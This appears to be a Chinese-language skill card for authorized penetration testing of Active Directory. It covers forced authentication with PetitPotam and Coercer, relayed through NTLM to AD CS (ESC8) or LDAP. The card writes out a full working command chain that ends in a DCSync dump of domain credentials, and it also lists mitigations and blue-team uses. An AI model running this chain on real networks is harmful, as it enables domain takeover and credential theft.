用途:该技能用于授权的安全测试与教学场景,通过 Windows RPC 接口的强制认证(Forced Authentication)让目标机器账户(常见为域控)向受控主机发起认证,再结合 NTLM 中继实现权限提升。资料明确提示:未经书面授权对他人系统使用属违法行为。
主要能力:PetitPotam 滥用 MS-EFSR 的 EfsRpcOpenFileRaw、EfsRpcEncryptFileSrv 方法;Coercer 是 Python 工具,统一覆盖 MS-EFSR、MS-RPRN(PrinterBug/SpoolSample)、MS-DFSNM(DFSCoerce)、MS-FSRVP(ShadowCoerce)、MS-EVEN 等共 12 种方法,提供 scan(探测可触达/可强制的 RPC 方法)、coerce(触发认证)、fuzz(研究路径变体)三种模式。典型链条为强制认证配合中继至 AD CS Web Enrollment(ESC8)获取域控证书并 DCSync,或中继至 LDAP 配置 RBCD。
使用方式:需已授权范围、有效(常为低权)域凭据、可达的中继监听器与目标 RPC 端点(135/445)。命令示例:安装 pipx install coercer 或 sudo python3 -m pip install coercer,克隆 git clone https://github.com/topotam/PetitPotam,安装 pipx install impacket。扫描:coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local -t 10.0.0.10 -l 10.0.0.50。中继:certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController' 或 impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp -smb2support --adcs --template DomainController。强制认证:coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --always-continue,可用 --filter-method-name PetitPotam 指定单一方法;PetitPotam 直接使用语法为 python3 PetitPotam.py <listener> <target>。后续可 certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100 与 impacket-secretsdump -k -no-pass 'corp.local/dc$@dc.corp.local' -just-dc,或中继 LDAP:impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access --escalate-user 'attacker$' -smb2support。
适用场景:完成 ESC8/ESC11 链条、触发机器认证用于 NTLM 中继、蓝队生成强制认证遥测、验证补丁与中继缓解(签名/EPA/RPC 过滤)是否有效。
限制:仅限自有或获明确书面授权的系统;依赖目标存在未修补或可触达的 RPC 接口,且中继目标未强制 SMB/LDAP 签名或 EPA;部分方法在修补后可能失效,可用 Coercer scan 枚举实际可用方法。MITRE ATT&CK 映射为 T1187,链式涉及 T1557.001 与 T1649。